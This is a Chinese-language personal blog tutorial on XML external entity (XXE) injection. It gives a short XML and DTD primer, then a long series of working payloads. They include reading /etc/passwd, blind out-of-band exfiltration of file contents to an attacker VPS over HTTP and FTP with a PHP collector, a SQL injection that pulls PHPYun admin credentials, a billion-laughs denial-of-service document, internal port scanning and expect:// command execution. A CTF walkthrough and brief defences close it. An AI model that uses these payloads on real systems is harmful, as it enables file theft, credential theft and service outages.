YYK's Blog

xml注入

Word count: 2.6kReading time: 12 min
2020/03/14 Share

首先,我们需要对XML进行一定的了解,在这里不做过多的多余叙述,接下图为XML工作流程:
在这里插入图片描述

简易xml概括

实体引用

对于实体ENTITY,XML定义了两种类型的实体,一种在XML文档中使用,另一种作为参数在DTD中使用。语法如下:

1
<!DOCTYPE 名字 [<!ENTITY 实体名 "实体内容"]>

楼下为预定义的实体引用
在这里插入图片描述

DTD(文档类型定义)

定义:

其可定义XML文档的合法构建模块,可在XML文档内声明,也可外部引用。

构建方式:

先来说下CDATA,指由XML解析器进行解析的文本数据(未分析的字符数据)。在XML中,<,&字符为非法,避免麻烦例如JS代码,就将脚本代码定为CDATA ,其中的内容都会被解析器忽略,组成结构为:" <![CDATA [" ****"]]>"。其次就是普通声明及引用

1
<!ENTITY entity-name "entity-value">

引用:
<message>&entity-name; </ message>,即可将“ entity-value”展示出来

1.内部实体声明

内部实体指在一个实体中定义的另一个实体,可用单双引号来区分内外部。

1
2
eg:<!ENTITY % in "<!ENTITY web 'http://vps'>">  
%in;

2.外部实体声明及默认协议

在这里插入图片描述

1
2
3
4
5
eg: <?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ENTITY flag SYSTEM "file:///etc/passwd">
]>
<a>&flag;</a>

3.参数实体

参数实体仅用于DTD和文档的内部子集中,XML的规范定义中,仅在DTD中才能引用参数实体。并且参数实体的引用在DTD中是该类型的实体使用“百分比”字符(或十六进制)编码的百分比)声明,并且仅在经过解析和验证后才用于替换DTD中的文本或其他内容,其在DTD中的解析优先于XML文本中的内部实体解析。

1
2
3
4
5
eg: <?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[
<!ENTITY % one "hello">
]>
%one;

漏洞利用

XXE

原理(以PHPYun cms为例)

这里的漏洞位置为此cms的weixin/model/index.class.php,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
private function responseMsg()
{
$postStr = $GLOBALS["HTTP_RAW_POST_DATA"];


if (!empty($postStr)){

$postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);
$fromUsername = $postObj->FromUserName;
$toUsername = $postObj->ToUserName;
$keyword = trim($postObj->Content);
$time = time();
$textTpl = "<xml>
<![CDATA[%s]]>
<![CDATA[%s]]>
%s
<![CDATA[%s]]>
<![CDATA[%s]]>
0
</xml>";
if(!empty( $keyword ))
{
$msgType = "text";
$contentStr = "Welcome to wechat world!";
$resultStr = sprintf($textTpl, $fromUsername, $toUsername, $time, $msgType, $contentStr);
echo $resultStr;
}else{
echo "Input something...";
}

}else {
echo "";
exit;
}
}

我们可以看到$postStr = $GLOBALS["HTTP_RAW_POST_DATA"],这句话的意思是传递原生的语句,而后$postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);又通过simplexml_load_string函数解析后,直接传入$textTpl.

1
$resultStr = sprintf($textTpl, $fromUsername, $toUsername, $time, $msgType, $contentStr);

这里也相当于直接获取post过来的XML内容直接输出.(请记住这一部分,我们将会在下一部分XXE与SQL注入继续审计)

外部实体注入

https://m.hundan.org/wooyun-2015-0148793

payload:

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<name>&xxe;</name>

基于盲注的XXE

原理

当我们在无回显和无报错的基础上使用盲注,即来构建一条带外信道(OOB)获得数据,主要使用DTD中的内部实体及参数实体。

示例

注入xml文件

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % host SYSTEM "file:///D:/flag.txt">
<!ENTITY % remote SYSTEM "http://xxx/xxx.xml">
%remote;
%receive;
%send;
]>

xxx.xml文件

1
<!ENTITY % receive "<!ENTITY send SYSTEM 'http://xxx/x.php?host=%host;'>">

x.php

1
2
3
<?php  
file_put_contents("1.txt", $_GET['host']) ;
?>

通过以上代码就可以进行读取文件等常规操作了,以上说的是php环境,再说下java环境:可通过gopher,file和jar等协议进行配合nc,ftp协议,
这里找到一个赏金猎人写的文章,可以一看

验证漏洞

其实只要让网站对我们的服务器发一个http请求,然后看是否服务器接收到请求即可。代码如下:

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://vps">
%remote;
]>

基于报错的XXE

和sql注入中的报错注入差不多的原理,当我们将payload故意写错,例如在第二行出错,那xml的内容就会出现在下一行。
下图为示例
在这里插入图片描述

XML配置文件未授权访问

多见于用户名,密码,apache,ldap数据库等配置信息泄露
更多示例可查看以下链接:
https://m.hundan.org/wooyun-2015-0123762;
https://m.hundan.org/wooyun-2015-0123588;
https://m.hundan.org/wooyun-2016-0207791(19护网顺手挖到了一个同款漏洞呵呵)

XXE与SQL注入

原理(PHPYun cms为例)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
if($MsgType=='event')
{
$MsgEvent = $postObj->Event;
if ($MsgEvent=='subscribe')
{
$centerStr = "<![CDATA[欢迎您关注".iconv('gbk','utf-8',$this->config['sy_webname'])."!/n 1:您可以直接回复关键字如【销售】、【南京 销售】、【南京 销售 XX公司】查找您想要的职位/n绑定您的账户体验更多精彩功能/n感谢您的关注!]]>";
$this->MsgType = 'text';

}elseif ($MsgEvent=='CLICK')
{
$EventKey = $postObj->EventKey;
if($EventKey=='我的帐号'){
$centerStr = $this->bindUser($fromUsername);

}elseif($EventKey=='我的消息')
{
$centerStr = $this->myMsg($fromUsername);
}elseif($EventKey=='面试邀请')
{
$centerStr = $this->Audition($fromUsername);

}elseif($EventKey=='简历查看')
{

$centerStr = $this->lookResume($fromUsername);

}elseif($EventKey=='刷新简历')
{

$centerStr = $this- > refResume ($ fromUsername );
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
private function isBind($wxid='')
{

if($wxid)
{
$User = $this->obj->DB_select_once("member","`wxid`='".$wxid."'","`uid`,`username`");
}
if($User['uid']>0)
{
$User['bindtype'] = '1';
$User['cenetrTpl'] = "<Content><![CDATA[您的".iconv('gbk','utf-8',$this->config['sy_webname'])."帐号:".$User['username']."已成功绑定! \n\n\n 您也可以<a href=\"".$this->config['sy_weburl']."/wap/index.php?m=login&wxid=".$wxid."\">点击这里</a>进行解绑或绑定其他帐号]]></Content>";
}else{
$Token = $this->getToken();
$Url = 'https://api.weixin.qq.com/cgi-bin/user/info?access_token='.$Token.'&openid='.$wxid.'&lang=zh_CN';
$CurlReturn = $this->CurlPost($Url);
$UserInfo = json_decode($CurlReturn);

$wxid = $wxid;
$wxname = $UserInfo->nickname;
$this->config['token_time'] = time();
$User['cenetrTpl'] = '<Content><![CDATA[您还没有绑定帐号,<a href="'.$this->config['sy_weburl'].'/wap/index.php?m=login&wxid='.$wxid.'">点击这里</a>进行绑定!]]></Content>';
}
return $User;
}

我们可以看到第一段代码满足后,会进入第二段代码的isBind函数,这里$wxid是我们传入的FromUserName的值,我们在上面XXE原理进行过代码审计知道它不会对我们传入的数据进行过滤,由此可进行SQL注入
payload:
<FromUserName>1111' and 1=2 union select 1,(select concat(username,0x23,password) from phpyun_admin_user limit 0,1)#</FromUserName> 需要注意的是一定要修改HTTP请求为Content-Type: text/ xml;

案例

为避免重复造轮,可自行查看火遍各大高校的某方教务,可拖数据库

XXE与XSS攻击

这篇文章写的很不错,可以借鉴一下
使用XML内部实体绕过Chrome和IE的XSS过滤器

XXE与DDOS攻击

原理

一般分为两种:

  • 1.请求大的文件(eg:C:/pagefile.sys 或/dev/random)
    /dev/random处于unix中,用作伪随机数生成
    1
    <!ENTITY go "file:///dev/random" >]><msg>&go;</msg>
  • 2.billion laughs攻击,即通过不断递归调用来使解析器繁忙,占用内存最终崩掉。(可配合LOIC工具,食用更佳)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<!--此代码包含10亿个大文件,约占3000M字节内存-->
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol
;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&
lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&
lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&
lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&
lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&
lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&
lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&
lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&
lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

案例

https://m.hundan.org/wooyun-2015-0137143

XXE与内网信息,命令执行

这里就不进行原理阐述了,和解释器有一些关系,直接上干货,以下建议配合脚本食用更佳。

  • 探测端口
    如果失败则可能返回Connection refused
    1
    2
    3
    4
    5
    6
    7
    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE xxe [
    <!ELEMENT name ANY>
    <!ENTITY xxe SYSTEM "http://192.168.0.1:3306">]>
    <root>
    <name>&xxe;</name>
    </root>
  • 探测内网IP
1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "http://otherIP">]>
<root>
<name>&xxe;</name>
</root>
  • 在安装有expect扩展的php环境执行

    1
    2
    3
    4
    5
    6
    7
    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "expect://whoami" >]>
    <root>
    <name>&xxe;</name>
    </root>

    XXE与Flash跨域攻击(个人认为鸡肋)

    这个突破感觉几乎没有什么用,而且利用条件也相对苛刻很多,可以自行查看https://m.hundan.org/wooyun-2012-08182
    https://m.hundan.org/wooyun-2011-02491

CTF例题

博主很久之前写的,想来想去就不打算再增加例题和减少掉例题了(懒),多少有点帮助,看着玩吧哈哈

API:

http://web.jarvisoj.com:9882
在这里插入图片描述

Blind XXE思路:

1.客户端发送payload1给web服务器
2.网络服务器向VPS获取恶意DTD,并执行文件读取payload2
3.网页服务器带着回显结果访问VPS上特定的FTP或者HTTP
4.通过VPS获得回显(NC监听端口)
payload1:

1
2
3
4
<? xml version= "1.0" encoding= "UTF-8" ?> 
<!DOCTYPE [<!ENTITY % remote SYSTEM "http://vps/test.xml">
%remote;
] >

payload2(服务器端文件):

1
2
3
4
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'ftp://VPS:21/%payload;'>">
%int;
%trick;

防御

  • 1.及时升级第三方代码,中间件等
  • 2.过滤用户输入数据
  • 3.使用php及Java等语言的禁用外部实体方法
1
2
3
4
5
6
7
php:libxml_disable_entity_loader(true);

java: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

python:from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
CATALOG
  1. 1. 简易xml概括
    1. 1.1. 实体引用
    2. 1.2. DTD(文档类型定义)
      1. 1.2.1. 定义:
      2. 1.2.2. 构建方式:
        1. 1.2.2.1. 1.内部实体声明
        2. 1.2.2.2. 2.外部实体声明及默认协议
        3. 1.2.2.3. 3.参数实体
  2. 2. 漏洞利用
    1. 2.1. XXE
      1. 2.1.1. 原理(以PHPYun cms为例)
      2. 2.1.2. 外部实体注入
      3. 2.1.3. 基于盲注的XXE
        1. 2.1.3.1. 原理
        2. 2.1.3.2. 示例
        3. 2.1.3.3. 验证漏洞
      4. 2.1.4. 基于报错的XXE
      5. 2.1.5. XML配置文件未授权访问
    2. 2.2. XXE与SQL注入
      1. 2.2.1. 原理(PHPYun cms为例)
      2. 2.2.2. 案例
    3. 2.3. XXE与XSS攻击
    4. 2.4. XXE与DDOS攻击
      1. 2.4.1. 原理
      2. 2.4.2. 案例
    5. 2.5. XXE与内网信息,命令执行
    6. 2.6. XXE与Flash跨域攻击(个人认为鸡肋)
  3. 3. CTF例题
    1. 3.1. API:
    2. 3.2. Blind XXE思路:
  4. 4. 防御